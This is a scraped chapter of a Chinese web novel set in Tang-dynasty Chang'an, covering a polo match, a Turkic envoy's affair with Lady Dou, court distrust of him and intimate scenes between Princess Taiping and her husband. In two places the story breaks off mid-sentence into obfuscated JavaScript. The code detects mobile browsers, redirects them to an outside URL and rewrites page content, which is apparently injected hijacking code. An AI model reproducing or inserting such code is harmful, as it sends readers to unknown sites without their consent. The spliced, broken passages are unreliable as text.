看台之上,一直紧握双拳、目不转睛盯着场中,尤其目光时时追随那赭色身影的窦娘子,见到此景,呼吸不由一窒。她看到阿史那延陀试图从右翼强行突破,但右肋空门因急切而微微暴露…… 几乎是本能地,她猛地从坐席上站起身,脱口而出: “驸马!攻其右肋——!” 清脆的女声在相对安静的赛场显得格外清晰。话音出口,窦娘子自己也愣住了,意识到自己失态,尤其感受到无数道目光瞬间聚集而来,其中更有阿史那延陀惊讶回望的灼热视线。她耳根瞬间飞红,慌乱之下,急中生智,迅速从袖中摸出一枚用来把玩的赤金小丸,看也不看,朝着阿史那延陀的大致方向轻轻一掷,同时提高声音,语气刻意带上几分观战的随意与调侃: “副使这招‘苍狼逐月’,使得倒是漂亮!比那些画本里吹嘘的飞将军李广,瞧着还俊俏三分呢!” 金丸划出一道微光,落在阿史那延陀马前不远处的草地上。 阿史那延陀闻声低头,看到那枚金丸,又抬眼望向看台上那抹骤然背过身去的纤细身影,眼中瞬间爆发出难以置信的惊喜与炽烈光芒,先前因久战不下的些许焦躁竟一扫而空,胸中豪情激荡,长笑一声:“多谢娘子赞誉!” 而场中,刘皓南在窦娘子出声提醒的刹那,目光已如电射向阿史那延陀的右肋空档!他不再犹豫,足尖猛地蹬地,身形如离弦之箭般蹿出,手中月杖在最后一名步战队友的杖头借力一点,人已凌空跃起,于空中拧腰发力,杖出如龙! “咻——!” 彩毬化作一道七彩流星,以肉眼难辨的速度,穿过因阿史那延陀瞬息分神而未能及时补位的微小缝隙,划过一道惊艳的弧线,在无数道目光的注视下—— “咚!” 一声闷响,彩毬狠狠撞入突厥队的终门铜环中心,力道之大,竟让沉重的铜环都向后荡起! 球,进了! 时间仿佛静止了一瞬。 随即—— “万岁!大唐万胜——!!!” 山呼海啸般的欢呼声,自唐军看台、乃至四面八方轰然炸响,直冲云霄!许多官员激动得站起身,挥舞手臂。 高宗李治抚掌大笑,声震全场:“精彩!着实精彩!此役攻防有度,智勇兼备,当详加记录,载入朕新编的《打球格》,以为后世典范!” 武后亦是含笑颔首,眼中流露出满意之色。 内侍们抬出早已备好的鎏金筹瓶,当众倾倒,南海所产、颗颗浑圆、光泽莹润的珍珠,如同瀑布般倾泻而出,在特制的玉盘里堆积成小山,足足三百斛!这是赏赐给胜队的荣耀与财富。 贵女们的看台更是沸腾,香囊、手帕、珠花如同雨点般掷向场中凯旋的唐军骑士,尤其是刘皓南与几位表现出色的将领身上。 窦娘子静立片刻,从身旁侍女捧着的花篮中,拣出一支开得正盛的并蒂莲。她走到看台边缘,望着下方正被同伴簇拥、仰头畅饮、目光却不由自主瞟向这边的阿史那延陀,指尖在柔嫩的花瓣上轻轻抚过,仿佛带着一丝不易察觉的流连,然后手腕一扬,将那支并蒂莲掷了下去。 莲花不偏不倚,落在阿史那延陀马前。他先是一怔,随即狂喜,几乎是从马背上滚落,珍而重之地拾起那支莲花。 窦娘子清越的声音随风传来,带着恰到好处的距离感,却又隐含深意: “副使今日虽败,然英姿飒沓,锐气逼人,犹胜古之关张!此莲并蒂,赠予英雄,聊表敬意。” 阿史那延陀紧紧握着那支犹带佳人指尖余温的莲花,仰头望着看台上那抹清丽的身影,胸膛剧烈起伏,眼中光芒炙热得几乎要燃烧起来,千言万语堵在喉头,最终只化为重重一击胸膛,一切尽在不言中。 另一边,太平公主早已命侍女用玉盘盛满了取自冰窖的碎冰,冰中卧着一枚黄澄澄、圆润饱满的木瓜。她双手捧起那枚冰凉的木瓜,唇边噙着一抹狡黠的笑意,目光锁定了场中正以袖拭汗的刘皓南。 趁他低头擦拭脖颈汗水的刹那,太平腕力暗吐,玉盘中的木瓜被她以巧劲振起,划出一道抛物线,直朝刘皓南后心飞去!她这动作,倒真有几分恶作剧的意味,想吓他一跳。 刘皓南何等警觉,虽在赛后松懈片刻,但背后风声及体,武者本能瞬间激发!他想也未想,以为是有人不服偷袭,反手便是一记凌厉的劈掌! “啪嚓!” 一声脆响!汁水四溅! 黄澄澄的木瓜应声爆裂,清甜的汁液与瓜瓤如同天女散花,劈头盖脸溅了刘皓南满身满脸!他那一身绯色官袍的前襟,顿时染上一片狼狈的湿痕与果肉残渣。 全场先是一静,随即爆发出震天的哄笑声!连御座上的帝后都忍俊不禁。 相王李旦更是笑得前仰后合,指着刘皓南调侃道:“哈哈哈!妹夫啊妹夫!人家投我以木瓜,报之以琼琚。你这可好,直接把《卫风·木瓜》的定情戏码,演成了《秦王破阵乐》的退敌绝杀!你这反应,也太不解风情了吧!” 太平掩唇,眼波流转,斜睨着浑身狼藉、一脸错愕茫然的刘皓南,拖长了语调,语气里的戏谑几乎要溢出来: “哟,薛都尉这是怎么了?莫非是嫌本宫投的瓜,不如突厥人的弯刀瞧着俏,入不了您的法眼,所以要当场‘击毙’,以示清白?” 刘皓南这才反应过来,低头看着自己满身木瓜残骸,又抬头望向笑靥如花、眼中闪着恶作剧得逞亮光的太平,耳根瞬间红透,简直要烧起来。他在全场的哄笑声与揶揄目光中,手忙脚乱地试图拂去身上的污渍,却越弄越狼狈,最后只得哭笑不得地蹲下身,拾起脚边一块较大的、还带着清香的木瓜残瓣。 指尖触及那冰凉滑腻的瓤肉,色泽鲜艳,竟比女儿家梳妆台上最上等的胭脂还要红润几分。他捏着那瓣瓜,看着太平,又是无奈,又觉好笑,心底却因她这突如其来的、充满烟火气的顽皮举动,泛起一丝陌生的、温软的涟漪。 暮色初逢 酉时三刻,昆明池畔的残霞将褪未褪,在水天相接处抹上一层沉静的绛紫。 阿史那延陀解了象征突厥特使身份的狼头鎏金腰刀,那刀柄上嵌着的红宝石在暮色中仍流转着暗沉的血色光泽。他随手将腰刀倚在汉白玉石栏上,动作随意得像放下牧羊的鞭子,转身望着被晚风揉碎的满池金红怔怔出神。池水浩渺,倒映着渐起的星子与一弯早月,也映出他眉宇间一抹与周遭长安精致园林格格不入的苍茫——那是草原儿郎面对一池静水时,骨子里对无边草场、长河落日的本能怀念。 忽闻身后由远及近传来一阵清脆而有节律的马蹄声,不疾不徐,踏碎了暮色的宁静。那蹄音利落干脆,每一声都踏在节奏上,显是骑术极精之人。 他回身,只见一骑玄色如墨,自林间小道飒沓而来,马上身影与暮色几乎融为一体。马上女子未着寻常闺秀的绮罗裙钗,而是一身极为利落的玄色胡式窄袖骑装,牛皮束腰紧紧勾勒出流畅的身形线条,鹿皮长靴锃亮,青丝以一根简素银环高高束成马尾,随着骏马驰骋在脑后飞扬如旗。鞍前悬挂的银制酒壶与马镫相碰,发出清越的叮咚声响,合着蹄音,竟有几分塞外牧歌的韵律,在这长安皇家园林里,显得格外突兀又鲜活。 来者正是窦娘子。 她纵马至石栏前三丈处,猛地一勒缰绳,那匹神骏的青海骢人立而起,前蹄在空中刨出漂亮的弧线,长嘶一声,稳稳停住,激起细微尘烟。她单手控缰,侧身坐在鞍上,月光恰好自林梢间隙漏下,照亮她半边脸庞——眉目英丽如刃,眸光明亮如星,唇角噙着一抹毫不掩饰的、带着欣赏与揶揄的笑意,目光灼灼地看向阿史那延陀,如同打量一匹罕见的千里驹: “副使大人白日马球场上那招‘苍狼逐月’,突围、击球、入门一气呵成,依妾身看——”她顿了顿,笑意加深,“倒比画本子里写的飞将军李广,还要俊逸飒爽三分!” 她声音清朗,穿透暮色,带着五姓高门女子特有的、融在骨子里的自信与飞扬,不见丝毫忸怩作态,仿佛在点评一场精彩的角抵。话音未落,她已单手一按马鞍,动作干净利落如鹞子翻身,轻盈落地。鹿皮靴尖扫过石栏边湿滑的青苔,惊起几只藏匿草间的流萤,点点幽光环绕她周身明灭,仿佛为她披上了一层星辉织就的薄纱。 阿史那延陀看着她这般飒爽模样,眼底那抹苍茫被明亮的笑意取代,那笑意又迅速糅杂进更深沉的、毫不掩饰的灼热欣赏。他未接那些客套赞誉,只上前两步,很自然地伸出手,手掌宽大,指节分明,带着常年握缰持弓留下的薄茧。 窦娘子嫣然一笑,将手中一直握着的、以熟牛皮缝制、绣着简单云纹的酒囊凌空抛了过去。阿史那延陀稳稳接住,拔开木塞,仰头便是一大口。琥珀色的、醇厚微酸的马奶酒液涌入喉中,些许来不及吞咽的琼浆顺着他线条刚硬的下颌流淌下来,滑过滚动的喉结,没入微微敞开的衣襟,在月光下留下亮晶晶的痕迹,野性不羁。他痛快地哈出一口酒气,仿佛饮下的不是酒,而是草原的风。 “好酒!”他赞道,声音因烈酒而更显醇厚,随即忽然不再说汉语,而是用低沉而富有磁性的突厥语,低声吟唱起来。 那是草原上流传已久的求偶歌谣,词句直白热烈如燎原之火——赞美明月般的容颜,野马般难以驯服的性情,诉说雄鹰对苍穹的向往,孤狼对唯一伴侣至死不渝的忠诚。他的歌声并不婉转,却带着胸腔的共鸣,在寂静的池畔回荡,少了几分长安丝竹的刻意雕琢,却多了天地洪荒般的真挚与滚烫,每一个音节都像是从心脏里直接泵出。 唱至最动情处,他忽然伸手,带着薄茧的温热掌心,抚上她束在纤细腰肢间的牛皮革带,指节微微用力,那力道带着占有的宣告,却不显轻佻。他的目光如鹰隼锁定了此生唯一的猎物,又如同虔诚的信徒在触摸圣物,一字一句,用略显生硬却斩钉截铁的汉语说道: “草原儿女的真心,就像离弦射出的雕翎箭——”他盯着她的眼睛,仿佛要望进她灵魂深处,“认准了目标,便永不回头,至死方休。” 窦娘子感受着腰间传来的、不容忽视的力道与灼人温度,眼波流转,非但没有寻常女子的羞怯退缩,反而反手一扣,精准地握住了他覆在自己腰间的手腕。她指尖微微用力,并非抗拒,更像是一种棋逢对手的较量与确认,眼尾漾起一抹狡黠如狐、明亮如星的光彩: “副使可知,长安女儿家的心,”她微微偏头,青丝拂过他的手臂,“却非一往无前的箭矢,而是匠心打造的九曲玲珑锁——环环相扣,机巧暗藏。寻常钥匙,可打不开。” 她微微凑近,吐气如兰,带着马奶酒的醇冽与她身上特有的清冷香气,话语却清晰无比:“不过,今夜月色甚好,池风也醉人……”她顿了顿,目光在他英俊深刻的脸上流转,坦荡得近乎放肆,“这副锁,倒不妨解给你看一看。” 这话如同投入干柴的火星。阿史那延陀眸色骤然转深,如同被点燃的荒原,瞬间燎原。他不再多言,低笑一声,那笑声里充满了雄性得遇对手的兴奋。另一只手如电探出,用的竟是草原上套马索的精准手法,却不是对着烈马,而是对着她束发的银环!轻轻一勾一扯,那简素的银环便松脱开来。 “哗——” 如云如瀑的青丝瞬间失去了束缚,倾泻而下,披散满肩,在月光下流淌着墨玉般的光泽,发梢扫过他的手臂。几缕发丝拂过他的脸颊与颈侧,带着微痒的、令人心悸的触感,散发着淡淡馨香。 就在青丝散落、月光流淌的刹那,阿史那延陀手臂猛一用力,揽住她的腰肢向侧后方一带。那力道霸道强悍,带着草原男儿不容置疑的决断,却也在手臂环抱的弧度里,藏着一丝不易察觉的、防止她撞上石栏的保护。窦娘子轻呼一声,并未真正抵抗,顺着他霸道又不失稳妥的力道,两人一同跌入池边那半人高、密密丛丛的芦苇荡中。 压倒的芦苇形成一片隐秘的、柔软的圆涡,夜露瞬间浸湿了衣衫后背,带来沁人的凉意。阿史那延陀精壮的身躯覆了上来,隔着衣料都能感受到那蓄满力量的肌肉线条。肩胛处一道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不知过了多久,月光已悄然偏移,星河缓缓流转。窦娘子汗湿的脊背贴着阿史那延陀同样汗湿的、滚烫如烙铁的胸膛,被他半搂半抱着,滑入微凉的池水之中。波光粼粼,碎成万千片跳跃的银鳞,温柔地包裹着依旧紧密相拥的两人,洗涤着欢爱后的黏腻与深入骨髓的疲惫。水波荡漾,扰动一池星月,也模糊了彼此界限。 待到星河渐淡,东方天际泛起一抹模糊的鱼肚白,窦娘子已是浑身酸软,连指尖都无力蜷缩,每一寸骨骼都像是被拆开又重组,却有一种通体舒畅的慵懒。她任由阿史那延陀抱着,涉水回到岸畔。他捡起自己那件宽大的、带着风尘与草原日晒气息的旧胡袍,仔细将她轻颤发冷的身子裹紧,打横抱起,走向干燥的草地。 坐在尚带夜露清香的草地上,他让她靠在自己坚实温热的怀中,指节穿过她散落在肩头、仍沾着湿气的青丝,动作是从未有过的轻柔,仿佛对待易碎的珍宝,声音却依旧带着事后的沙哑与深沉,响在她耳边: “长安的九曲玲珑锁……”他低头,轻吻她湿漉的发顶,“既已解开,可愿让我这把草原的糙钥匙,长留锁芯之中?” 窦娘子靠在他胸前,闭着眼,感受着他沉稳有力的心跳和胸膛的起伏,闻言却轻轻笑了起来,那笑声里带着餍足后的慵懒、一丝不易察觉的缠绵,但更多的是一种月光般清冽的清醒: “钥匙若锈死在锁芯里,天长日久,反倒误了彼此开阖山河的锋芒。”她睁开眼,望向东方的微光,目光清明,“你是该翱翔的鹰,我亦非攀援的藤……现在这样,很好。” 她说得坦荡自然,仿佛在陈述一个再简单不过的事实——今夜欢好,两情相悦,但你是突厥特使,我是窦家娘子,各有来路,各有前程。露水情缘,天亮则散,不必言嫁娶,不必诺终身。痛快爱过一场,足矣。 阿史那延陀手臂收紧,将她更深地嵌进怀里,下颌抵着她的发顶,望着泛起鱼肚白的天际,没有再说话。只是那双深邃的鹰眸中,翻涌着复杂的波澜——有得到后的极致餍足与欢愉,有对她话语中那份清醒与独立的了然与赞赏,也有一丝更深沉的、关于注定别离的未来、关于草原与长安遥远距离的隐忧,最终都化为了此刻拥抱的真实温度。他磊落大方地爱了,也磊落大方地接受了她的“不嫁”。星月渐隐,晨光将至,这一夜,足以铭记。 两日后,酉时三刻,宵禁鼓声将响未响。 一名身着突厥传统服饰、须发皆白、面容沧桑却目光锐利如鹰的老者,持着一枚造型古朴、上刻麒麟纹、边缘有刀劈斧凿痕迹的金符,叩响了公主府的角门。经通传,此人乃太宗朝名将、归附大唐的突厥贵族阿史那社尔之孙,如今在突厥使团中担任宿老顾问。 他被引入偏厅,见到刘皓南,未多寒暄,直接奉上金符,声音沙哑却急切: “薛都尉,老夫倚老卖老,直言了。我那侄孙延陀,自那日马球会后,对贵府的窦娘子……魂牵梦萦,茶饭不思。赛马场上又得窦娘子金丸赠语,并蒂莲花……这孩子,从小到大在草原上,要什么都是弯弓射雕、纵马夺来,何曾这般失魂落魄过?他不敢唐突,央求老夫前来,以此先祖信物为凭,恳请都尉……念在昔日些许袍泽之谊,成全这孩子一片痴心!我阿史那氏,必以最隆重的礼节迎娶!” 刘皓南送走老者,回到寝殿,将此事原原本本告知正在对镜卸下头上那支繁复九鸾衔珠金钗的太平。 太平闻言,对着铜镜慢条斯理地取下最后一支珠花,闻言轻笑,语气带着洞察的了然: “窦家那丫头,连范阳卢氏百年望族的婚书都敢一把火烧了,远遁来投奔我,是个眼里揉不得沙子、心里自有丘壑的主儿。她岂会因一个部落老将军的请托、一枚先祖金符,就屈服于什么‘部落联姻’?不过……” 她顿了顿,从镜中看向刘皓南,眼中闪过一丝玩味: “她既肯在马球场上,当着那么多人的面,掷出那枚金丸,说了那番话……倒说明,突厥那小子在她心里,并非全无分量。至少,他那份不加掩饰的赤诚、战场上的英姿,是真打动了她。这‘希望’嘛,总比没有强。只是这路怎么走,走到哪一步,终究得看他们自己。” 她忽然反手,纤指勾住了刘皓南腰间的蹀躞革带,微微用力将他拉近,仰起脸,眸中水光潋滟,带着一丝追忆的狡黠: “当年啊,若是本宫不点头,不给你机会,就凭你当初那副温吞守礼、动不动就‘于礼不合’的迂腐样子,怕是连公主府门口那对石狮子的爪子,都摸不着一下呢。还敢肖想尚主?” 刘皓南顺势俯身,将她从绣墩上打横抱起,走向内室铺设着厚厚西域绒毯的暖榻,鼻尖轻蹭她敏感的耳后,声音低哑带笑: “是么?那臣倒真想听听,当年……究竟是薛绍先对殿下动了心,还是殿下早已布下天罗地网,就等着臣这只不解风情的呆头鹅,自己撞进来?” 太平被他气息呵得痒,笑着躲闪,却被他稳稳放在柔软厚实的绒毯上。她假意蹙眉,推了推他坚实的胸膛: “少来!上回为了解那吐蕃奇毒,试那劳什子‘反密宗双修’的法子,本宫这腰腿,足足酸软了三天!走路都像踩在棉花上,被杜娘子好一顿取笑。你还敢提?” 刘皓南低笑出声,就着相拥的姿势,伸手从榻边小几抽屉里,抽出那卷早已备好的《洞玄子》图谱。他翻到其中一页,指尖缓缓划过上面描绘的、名为“双溪叠鲤”的舒缓姿态,声音温柔而充满说服力: “殿下明鉴,吐蕃密术追求极端刺激,如同烈酒烧喉,痛快一时,却大损根基,如饮鸩止渴。而我道家正统双修之法,讲究的是阴阳调和,水火既济,如同以文火慢煎春茶,初时平淡,回味却甘醇悠长,最是养身怡情。” 他见她仍有些迟疑,便不再多言,自己先盘膝坐于绒毯之上,摆出导引的起手式,然后引着她,让她面对面跨坐于自己腰间。两人的姿势亲密却并不紧迫,他双手轻轻托住她的腰臀,示意她将双足脚心与自己的脚心相抵。 “殿下信臣一次。” 他目光沉静,带着令人安心的力量,“此番,臣只以本门玄功,为殿下导引行气,疏通经脉,缓解旧日疲乏。绝无半分勉强,更不会伤及殿下筋脉。” 说着,他掌心已悄然贴上她后腰的“命门”与“尾闾”要穴,一股温润平和中正、如三月春溪般的暖流,已绵绵不绝、徐缓有度地渡入她体内。那暖流所过之处,驱散了肌肉深处的酸涩,抚平了经络中细微的滞碍,带来一种难以言喻的通泰与松快。 “若殿下觉得有任何不适,哪怕一丝一毫,” 他凝视着她的眼睛,认真承诺,“只需示意,臣即刻停手,绝不再继续。” 太平起初身体还有些僵硬,但随着那暖流在体内缓缓游走,循环周天,她只觉得多日积累的疲惫与紧绷,如同春日阳光下的残雪,一点点消融。那暖意并不霸道,反而带着一种奇异的安抚力量,让她不由自主地放松下来。 气息渐重,交织在安静的室内。太平原紧绷如弓弦的腰肢,在那持续而温和的内力滋养与亲密却舒缓的姿势引导下,竟真的如春水化冻般,一寸寸酥软下来,柔韧地贴合着他的怀抱。白皙的足趾,也无意识地从最初的蜷缩戒备,渐渐舒展,甚至随着气息的流转,偶尔难耐地轻轻蹭动他脚踝。 待他感觉她气息已完全匀畅,经脉通达,方才缓缓收功,俯身将她轻柔地安置在早已铺好的锦褥软枕之间。两人气息早已交融难分,如同池中静静依偎、共享一泓清波的并蒂莲,和谐而圆满。 翌日清晨。 天光透过茜纱,温柔地洒满寝殿。太平犹自慵懒地伏在枕上,青丝如云铺散,只露出一段优美的颈项与半边绯红未褪的侧颜。她指尖有一下没一下地拨弄着床边小几上,狻猊香炉中未曾燃尽的苏合香灰,神情惬意,眼尾那抹淡淡的绯色,为她平添几分媚色,但眼神清亮,并无倦怠。 而刘皓南已起身,临窗而立,缓缓活动着手脚。只觉周身经脉畅通无阻,气血充盈,往日因解毒、激战留下的几处细微滞涩的旧伤,此刻也传来温润的暖意,仿佛被最和煦的泉水细细涤荡过,说不出的舒泰。内力运转,圆融自如,更胜往日。 他回头,看向榻上慵懒如猫的太平。想起月前,为解“红尘劫”剧毒,强行施行“反密宗双修”后,她虽毒解,却是脚步虚浮,面色苍白,眉宇间倦色多日难消。而此刻,她眼尾虽有情动后的绯艳,但气息平稳,眸光清澈,方才起身去洗漱时,步履轻盈,甚至带着几分餍足后的慵懒风情。 两相对比,恰如《洞玄子》开篇所言:“男女相成,犹天地相生也。天地得交会之道,故无终竟之限;人失交接之道,故有天折之渐。能知其道,乐而且强,寿即增延,色如华英……” 此番以道家正统法门温和导引,阴阳既济,彼此滋养,方是长久安康、两相怡悦的正道。 刘皓南唇角微扬,心中一片澄明安宁。 71. 风起长安 鸿胪寺四方馆议事厅。 熏香淡薄,茶烟袅袅,却压不住厅中隐隐流动的肃杀与紧绷。突厥使团主副使、随行贵族与鸿胪寺、兵部、礼部相关官员分列左右。阿史那延陀,这位以勇武英俊与相对开明著称的突厥特勤(亲王),在议定完贡赋、互市条款等常项后,于一片看似和缓的气氛中,忽然起身,以手抚胸,向主位上的鸿胪寺卿及在座唐臣深施一礼,声音洪亮而清晰: “天可皇帝陛下威加海内,德被苍生,长安物华天宝,人杰地灵,典章制度,文明昌盛,实乃万国心驰神往之天朝上邦。外臣不才,出使以来,见神都街衢如砥,市列珠玑,百工精巧,文教昌明,更见天军器甲精良,士马精强,唐将用兵,灭国如摧枯拉朽,高昌、龟兹、焉耆,皆俯首称臣,此等威势,非我草原弓马野战时所能匹敌。为部族长久计,为生民开化路,外臣愿效法前代阿史那社尔、执失思力等先贤,自请解去使节,长留长安,为陛下前驱,更求入国子监,习圣贤之书,学经世之道,以开我部族民智,导我子民向化。此心可表日月,还望天朝体察收容。” 他语出惊人,四座先是一静,随即,数道寒冰利箭般的目光,从突厥使团坐席中激射而来,几乎要在他身上剜出几个洞。阿史那延陀的兄长,如今坐稳汗位、以铁血强权统合各部的骨咄禄可汗,脸上那层客套的、因议和而维持的平静,如被重锤击中的冰面,寸寸碎裂。他额角青筋贲起,握在手中的那盏越窑青瓷茶盅,因指节过于用力而发出“咯吱”微响,下一瞬,已“哐当”一声,被他狠狠掼在光洁的金砖地上,登时粉身碎骨,热茶与碎瓷四溅! “我突厥的儿郎,骨头是长在马背上的,是硬在刀口上的!” 骨咄禄可汗霍然站起,他身材并不算特别魁伟,但久居人上的积威与沙场搏杀养出的煞气,却如出鞘的弯刀,瞬间割裂了厅中所有温文尔雅的表象。他怒视着同母的胞弟,眼珠里布满了被“背叛”激出的血丝,声音如寒夜北风,刮过每一个人的耳膜:“宁可让这身骨头在马上断成三截,在风里扬成白灰,也绝无向汉人案牍折腰、在软红香土里把血性磨成绕指柔的道理!阿史那延陀,你被长安的米酒泡软了膝盖,被汉人的经书迷了心窍么?!” “可汗息怒,此间定有误会!” 鸿胪寺卿连忙打圆场,额上已见细汗。 “误会?” 骨咄禄可汗从牙缝里挤出冷笑,他身后,几个剽悍的随行叶护、啜(贵族头领)已不自觉地手按刀柄,身体前倾,那是一种猛兽被激怒、准备扑击的姿态。他们看向阿史那延陀的目光,已无半分对特勤的尊崇,只有对“叛徒”的切齿痛恨,对“数典忘祖、玷污狼神”的极端愤怒。一个年长的叶护,用生硬的汉话,从齿缝里迸出低吼:“草原的雄鹰,离了长生天的苍穹,落在汉人的金丝笼里学舌,还能叫鹰吗?!特勤,你忘了阿史那家的荣耀,是马蹄踏出来的,不是笔墨写出来的!” 阿史那延陀面色微微发白,但背脊挺得笔直,迎着兄长和族人几乎要将他生吞活剥的目光,再次开口,声音沉稳却坚定:“兄长,诸位叔伯兄弟!我并非背弃草原,背弃狼神!正是为了我阿史那部,为了突厥子民的长远生计,延陀才作此想!我们看到了唐军的兵锋所指,见识了他们的攻守之器,更看到了他们百姓仓廪之实,工匠技艺之巧,学子诵经读史之勤。难道我们还要让子孙后代,永远只靠抢掠、靠与天争命、在风雪和白灾中挣扎求存吗?阿史那社尔将军当年归唐,为太宗皇帝先锋,所部得以安居,难道不是一条生路?效仿强者,学习强者,乃至成为强者的一部分,方是生存壮大之道!固守旧规,坐等铁骑被岁月磨钝,才是真正的绝路!” “放屁!” 骨咄禄可汗怒极反笑,脸上肌肉扭曲,“学?怎么学?跪着学吗?忘了阿史那贺鲁的前车之鉴吗?!唐人今日给你甜枣,明日就能用你学去的本事,回头剿灭你的部落!草原的法则,从来只有弱肉强食,只有手中的刀和□□的马最可靠! 民生?文化?那是汉人消磨勇士意志的毒药!阿史那延陀,你若执迷不悟,便不再是我骨咄禄的兄弟,不再是突厥的特勤!” 兄弟二人,一个看到了铁血武力背后的文明力量与长久生存的可能,渴求变革与融合;一个坚信草原传统与武力至上,视任何“软化”和“归化”为对根本的背叛与灭亡之道。裂痕,在这一刻,已深如天堑。 ______ 然而,更凶险的暗箭,并非只来自暴怒的族人,更来自看似接纳的阿史那延陀想投效的唐廷内部。 就在阿史那延陀当廷表态的当夜,数道密折已悄然递入宫中。御史台某位以“明察秋毫、防微杜渐”闻名的侍御史,在密折中痛心疾首:“突厥副使阿史那延陀,狼子野心,其请留长安,名为向化,实不可不防!昔阿史那贺鲁归而复叛,几成大患。此獠颇通汉事,若使其久居京师,结交权贵,窥探虚实,假以时日,恐为贺鲁第二,遗祸边陲,悔之晚矣!” 字字如刀,将“效仿”直接与“反叛”划上等号,直指最敏感处。 数日后,某位与关陇军事集团关系密切的兵部侍郎,在招待使团的夜宴上,酒过三巡,似醉非醉,拍着案几对同僚“感慨”:“阿史那部,确如塞外苍狼,野性难驯。其部族悍勇,世所共知。然,猛兽之利爪钢牙,可伤敌,亦可反噬其主。若真将这般雄鹰困于京畿金丝笼中,恐其利爪不向敌,反伤我豢养之人。此等归化胡将,用好了是利刃,用不好……便是心腹之患啊。” 席间闻者,无不变色,或深以为然,或噤若寒蝉。这番话,借“醉语”之形,行“警告”之实,迅速在朝中部分官员,特别是对胡人将领素来猜忌的“清流”和部分军事勋贵中传开。 “二圣临朝”时期,对非我族类者的提防,是深植于帝国肌理中的暗流。尽管唐律开明,不禁止异族通婚,对归附的异族将领也量才录用,如阿史那社尔、契苾何力、黑齿常之等皆得高位。然,猜忌的种子从未真正根除。朝中门第观念深重的山东、江南部分世家,其旁支子弟在私宴交游间,常以“非我族类,其心必异”为谈资,对任何可能掌禁军、边军、或机要军职的“胡将”都抱持着近乎本能的警惕与排斥。阿史那延陀的“自请留京”,在这些人眼中,无异于“处心积虑,图谋不轨”的明证,是试图“以退为进,染指天朝权柄”的险恶之举。流言蜚语,在看似平静的朝局下,如毒藤般悄然蔓延。 ______ 一个月后,公主府,寝殿。 时值盛夏,殿内四角置有冰鉴,散发着丝丝凉意。太平公主只着轻绡中衣,斜倚在湘妃竹榻上,玉指纤纤,正从水晶碗中拈起一颗冰镇过的紫玉葡萄,慢条斯理地剥着皮,汁水染得指尖微红。她将剔透的果肉送入口中,方抬眸,对正在灯下批阅弩坊署文书的刘皓南,漫不经心般投下一记惊雷: “窦家那丫头,月信迟了十来日,心里不踏实,前几日悄悄请了与我相熟的一位妇科圣手过府诊脉,已确了,是滑脉,刚满一月。” 她顿了顿,欣赏着刘皓南骤然抬起的、带着惊愕与深思的眼眸,继续用那种谈论天气般的口吻道,“有趣的是,那丫头得知有孕,非但没哭没闹,也没急着去找谁,反而哼起了《突厥盐》的小调,还对身边嬷嬷说——‘当年平阳昭公主于鄠县庄园散尽家财、聚众起兵时,可没工夫哭哭啼啼。’” 刘皓南手中朱笔一顿,一滴红墨险些污了公文。他放下笔,看向太平:“窦娘子她……意欲何为?” 太平没有直接回答,只是用帕子擦了擦手,对外间扬声道:“让她进来吧。” 殿门轻启,窦娘子——出身京兆窦氏长房嫡支,且是这一代唯一的嫡女,缓步而入。她未施粉黛,面色略显苍白,但眼神清亮平静,姿态端庄依旧。她走到殿中,对着太平与刘皓南的方向,敛衽,屈膝,竟是要行大礼。 “窦娘子不必如此。” 太平虚扶了一下。 窦娘子却已盈盈拜下,掌心轻轻贴在自己依旧平坦的小腹上,声音不高,却字字清晰:“殿下,驸马。此事,是妾一晌贪欢,咎由自取,与阿史那特勤无干。他肩上扛着整个部落的兴衰荣辱,他的路,是苍鹰该翱翔的九天。妾这一阵风,不过是偶然吹过他翼下的暖流,助他一时,岂能成为绊住他翅膀的绳索?风有歇时,鹰有征途。此事,妾不会告知于他,亦无需他负责。” 她抬起头,目光清澈而坚定,带着世家大族嫡女独有的底气与傲骨:“我窦氏,诗书传家百余年,虽不比崔卢王谢煊赫,却也荫庇深厚,家资尚可,门风清正。养育教导一子,无论男女,使其明理知义,安身立命,窦家还担得起。此子,是窦家的血脉,便随窦家的姓,入窦家的谱,承窦家的家学。阿史那特勤有他的草原、他的部众、他的长生天。妾,自有妾的庭院、妾的家族、妾的责任与体面。” 窗外,不知何时已乌云密布,一道惨白的闪电撕裂天幕,紧接着,惊雷炸响,轰隆一声,震得窗棂嗡嗡作响。就在这雷声滚过的刹那,窦娘子袖中,一样物事滑落,“啪”地一声轻响,摔在光洁如镜的金砖地上——正是那枚温润的和田玉狼坠,此刻已从中裂为整齐的两半。一半狼首向天,似在嗥叫;一半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185099|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狼身伏地,犹作奔驰状。 窦娘子低头看着那碎裂的玉坠,眼中极快地掠过一丝水光,随即归于一片深潭般的平静。她想起那夜昆明池畔,芦苇深深,月色如水,阿史那延陀亲手解下这自幼佩戴的狼坠,系在她腕上时,眼底映着水光与星光,他说:“狼魂可一分为二,纵隔千里,亦能在同一片月光下,嗅到彼此的气息,终有重逢之日。” 如今,玉坠碎了。是预兆,还是决断? 刘皓南望着窦娘子在又一道闪电映照下,挺直脊背、决然转身离去的背影。那背影单薄,却蕴含着一种不容折辱的、近乎孤绝的力量。她甚至不需要告知那个男人,独自便能做出决定,并有足够的家族底蕴和自身心性去承担一切后果。这份独立、这份果决、这份无需依附任何人的底气,像一道惊雷,猝不及防地劈中了刘皓南内心最深处、最不堪回首的角落。 